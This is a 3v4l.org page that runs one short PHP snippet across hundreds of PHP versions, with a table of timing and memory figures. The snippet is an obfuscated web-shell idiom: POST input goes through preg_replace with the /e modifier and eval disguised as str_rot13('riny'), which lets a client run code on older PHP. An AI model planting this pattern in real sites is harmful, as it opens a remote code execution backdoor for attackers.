3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add')); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0080.00816.86
8.3.50.0090.00918.02
8.3.40.0140.00018.84
8.3.30.0120.00618.84
8.3.20.0040.00420.33
8.3.10.0090.00020.48
8.3.00.0040.00423.48
8.2.180.0120.00916.63
8.2.170.0040.01122.96
8.2.160.0120.00322.31
8.2.150.0080.00024.18
8.2.140.0070.00024.66
8.2.130.0060.00320.93
8.2.120.0040.00426.35
8.2.110.0040.00420.41
8.2.100.0100.00318.05
8.2.90.0040.00419.25
8.2.80.0050.00517.97
8.2.70.0000.00817.50
8.2.60.0030.00518.16
8.2.50.0090.00018.09
8.2.40.0040.00422.25
8.2.30.0000.00819.37
8.2.20.0070.00017.69
8.2.10.0000.00718.10
8.2.00.0030.00318.22
8.1.270.0100.01022.07
8.1.260.0040.00428.09
8.1.250.0040.00428.09
8.1.240.0060.00322.59
8.1.230.0090.00317.83
8.1.220.0000.00717.76
8.1.210.0000.00818.77
8.1.200.0090.00017.13
8.1.190.0000.00817.35
8.1.180.0060.00318.10
8.1.170.0000.00818.66
8.1.160.0000.00720.75
8.1.150.0040.00418.80
8.1.140.0040.00419.50
8.1.130.0070.00017.66
8.1.120.0000.00717.46
8.1.110.0040.00417.34
8.1.100.0040.00417.44
8.1.90.0050.00317.46
8.1.80.0060.00317.38
8.1.70.0000.00717.50
8.1.60.0040.00417.55
8.1.50.0040.00417.48
8.1.40.0060.00617.49
8.1.30.0040.00417.69
8.1.20.0000.00817.48
8.1.10.0040.00417.44
8.1.00.0080.00017.39
8.0.300.0000.00718.77
8.0.290.0020.00516.75
8.0.280.0070.00018.48
8.0.270.0000.00717.21
8.0.260.0030.00317.25
8.0.250.0070.00017.02
8.0.240.0030.00317.00
8.0.230.0000.00716.93
8.0.220.0040.00416.82
8.0.210.0000.00716.94
8.0.200.0030.00316.87
8.0.190.0090.00016.87
8.0.180.0000.00716.86
8.0.170.0000.00716.86
8.0.160.0000.00716.87
8.0.150.0000.00716.88
8.0.140.0040.00416.93
8.0.130.0050.00013.30
8.0.120.0070.00316.93
8.0.110.0030.00516.96
8.0.100.0040.00416.80
8.0.90.0000.00816.96
8.0.80.0100.00616.83
8.0.70.0040.00416.90
8.0.60.0060.00316.81
8.0.50.0000.00716.98
8.0.30.0050.01517.06
8.0.20.0130.00717.40
8.0.10.0000.00717.08
8.0.00.0080.01116.80
7.4.330.0000.00516.67
7.4.320.0060.00016.45
7.4.300.0030.00316.48
7.4.290.0000.00716.48
7.4.280.0030.00516.49
7.4.270.0060.00316.42
7.4.260.0030.00316.38
7.4.250.0000.00716.45
7.4.240.0070.00016.63
7.4.230.0030.00316.52
7.4.220.0090.01216.40
7.4.210.0090.00616.48
7.4.200.0040.00416.59
7.4.160.0060.00916.60
7.4.150.0100.00617.40
7.4.140.0130.00617.86
7.4.130.0100.00716.45
7.4.120.0060.01116.50
7.4.110.0070.01016.79
7.4.100.0060.01216.55
7.4.90.0100.00616.37
7.4.80.0140.00719.39
7.4.70.0130.00316.64
7.4.60.0040.01216.60
7.4.50.0090.00916.37
7.4.40.0130.00316.41
7.4.30.0140.00316.45
7.4.00.0050.01114.96
7.3.330.0000.00713.14
7.3.320.0000.00513.22
7.3.310.0040.00416.35
7.3.300.0080.00016.39
7.3.290.0030.00316.24
7.3.280.0090.00916.39
7.3.270.0180.00017.40
7.3.260.0190.00416.29
7.3.250.0110.00716.36
7.3.240.0080.00916.36
7.3.230.0060.01216.57
7.3.210.0100.00716.43
7.3.200.0120.00616.39
7.3.190.0090.00616.39
7.3.180.0070.01116.39
7.3.170.0040.01316.65
7.3.160.0060.00916.32
7.3.120.0110.00414.75
7.3.110.0040.00814.89
7.3.100.0120.00615.01
7.3.90.0100.00714.74
7.3.80.0060.00314.89
7.3.70.0030.01014.57
7.3.60.0040.00414.88
7.3.50.0070.00714.90
7.3.40.0050.00314.58
7.3.30.0000.01214.99
7.3.20.0030.00916.82
7.3.10.0060.00616.51
7.3.00.0030.01216.88
7.2.330.0100.00716.91
7.2.320.0000.01717.00
7.2.310.0040.01216.99
7.2.300.0060.01016.81
7.2.290.0120.00916.66
7.2.250.0130.00715.45
7.2.240.0040.01415.35
7.2.230.0000.01514.79
7.2.220.0070.00715.30
7.2.210.0030.01315.46
7.2.200.0000.01315.00
7.2.190.0110.00415.20
7.2.180.0030.00915.19
7.2.170.0090.00415.22
7.2.160.0040.01215.39
7.2.150.0050.00517.31
7.2.140.0150.00017.06
7.2.130.0040.01217.23
7.2.120.0100.00716.91
7.2.110.0030.01017.06
7.2.100.0060.00916.92
7.2.90.0040.01117.24
7.2.80.0100.00717.26
7.2.70.0030.01017.27
7.2.60.0070.00616.90
7.2.50.0100.00317.11
7.2.40.0060.00617.25
7.2.30.0090.00017.21
7.2.20.0060.01017.19
7.2.10.0000.01317.00
7.2.00.0050.00718.26
7.1.330.0000.01615.80
7.1.320.0100.00315.80
7.1.310.0030.00915.80
7.1.300.0000.01515.86
7.1.290.0090.00616.08
7.1.280.0030.00915.66
7.1.270.0040.01115.90
7.1.260.0060.00616.11
7.1.250.0000.01515.92
7.1.240.0000.01515.92
7.1.230.0000.01115.90
7.1.220.0030.00915.77
7.1.210.0110.00416.07
7.1.200.0070.00415.78
7.1.190.0030.01015.73
7.1.180.0060.01016.08
7.1.170.0130.00315.75
7.1.160.0140.00015.65
7.1.150.0060.00915.93
7.1.140.0030.01315.98
7.1.130.0100.00016.01
7.1.120.0140.00015.83
7.1.110.0060.00615.85
7.1.100.0040.01017.01
7.1.90.0070.01016.05
7.1.80.0040.00816.00
7.1.70.0030.00816.49
7.1.60.0060.01017.66
7.1.50.0030.01416.53
7.1.40.0070.00716.07
7.1.30.0060.00315.91
7.1.20.0070.00715.68
7.1.10.0050.00915.88
7.1.00.0040.04319.12
7.0.330.0060.01015.61
7.0.320.0030.00915.20
7.0.310.0000.01215.80
7.0.300.0030.00615.54
7.0.290.0070.00315.46
7.0.280.0140.00015.79
7.0.270.0000.01115.33
7.0.260.0090.00315.65
7.0.250.0030.00615.65
7.0.240.0070.00415.70
7.0.230.0090.00315.47
7.0.220.0000.01115.78
7.0.210.0080.00415.79
7.0.200.0150.01215.04
7.0.190.0060.00615.48
7.0.180.0030.01015.50
7.0.170.0090.00315.29
7.0.160.0060.01015.66
7.0.150.0000.01715.65
7.0.140.0000.00815.66
7.0.130.0050.00515.63
7.0.120.0030.00915.41
7.0.110.0110.00415.38
7.0.100.0060.00315.34
7.0.90.0040.01115.78
7.0.80.0000.00915.33
7.0.70.0100.00315.40
7.0.60.0170.04517.88
7.0.50.0070.02216.82
7.0.40.0070.04616.86
7.0.30.0180.03516.89
7.0.20.0150.04716.81
7.0.10.0070.03916.89
7.0.00.0030.03716.99
5.6.400.0030.01214.24
5.6.390.0040.00814.89
5.6.380.0060.00914.63
5.6.370.0060.00614.75
5.6.360.0060.01114.71
5.6.350.0060.00514.93
5.6.340.0060.00914.36
5.6.330.0040.00813.97
5.6.320.0030.01014.61
5.6.310.0040.00414.39
5.6.300.0040.00814.33
5.6.290.0070.00714.49
5.6.280.0080.03817.79
5.6.270.0110.00414.32
5.6.260.0060.00914.54
5.6.250.0000.00814.46
5.6.240.0030.00914.41
5.6.230.0030.00614.75
5.6.220.0090.00614.27
5.6.210.0050.04517.41
5.6.200.0070.04816.37
5.6.190.0090.03617.68
5.6.180.0200.03517.47
5.6.170.0130.04417.49
5.6.160.0060.02317.43
5.6.150.0050.03816.47
5.6.140.0070.04016.46
5.6.130.0080.04316.22
5.6.120.0090.04217.66
5.6.110.0080.04317.78
5.6.100.0070.02717.81
5.6.90.0060.03717.58
5.6.80.0060.04317.42
5.6.70.0040.01114.21
5.6.60.0060.00614.67
5.6.50.0060.00614.21
5.6.40.0060.00614.61
5.6.30.0100.01014.32
5.6.20.0110.00614.55
5.6.10.0060.00914.43
5.6.00.0000.01114.39
5.5.380.0080.00514.30
5.5.370.0030.00714.42
5.5.360.0060.00614.41
5.5.350.0100.01817.30
5.5.340.0050.03416.33
5.5.330.0080.04517.36
5.5.320.0220.02817.26
5.5.310.0150.03717.41
5.5.300.0050.02716.22
5.5.290.0020.02616.33
5.5.280.0070.03917.82
5.5.270.0050.03417.46
5.5.260.0030.03917.49
5.5.250.0100.03417.40
5.5.240.0190.03717.38
5.5.230.0040.01114.30
5.5.220.0030.00714.38
5.5.210.0070.00714.16
5.5.200.0030.01014.63
5.5.190.0100.00714.48
5.5.180.0060.01314.50
5.5.170.0060.00614.23
5.5.160.0040.00814.45
5.5.150.0030.00914.41
5.5.140.0100.00314.32
5.5.130.0030.01014.30
5.5.120.0070.00714.11
5.5.110.0040.01114.45
5.5.100.0080.00414.64
5.5.90.0080.00414.04
5.5.80.0070.00714.23
5.5.70.0030.00714.18
5.5.60.0030.00614.63
5.5.50.0080.00314.41
5.5.40.0060.00914.58
5.5.30.0030.00914.23
5.5.20.0070.00714.45
5.5.10.0060.00614.21
5.5.00.0000.01014.48

preferences:
55.41 ms | 400 KiB | 5 Q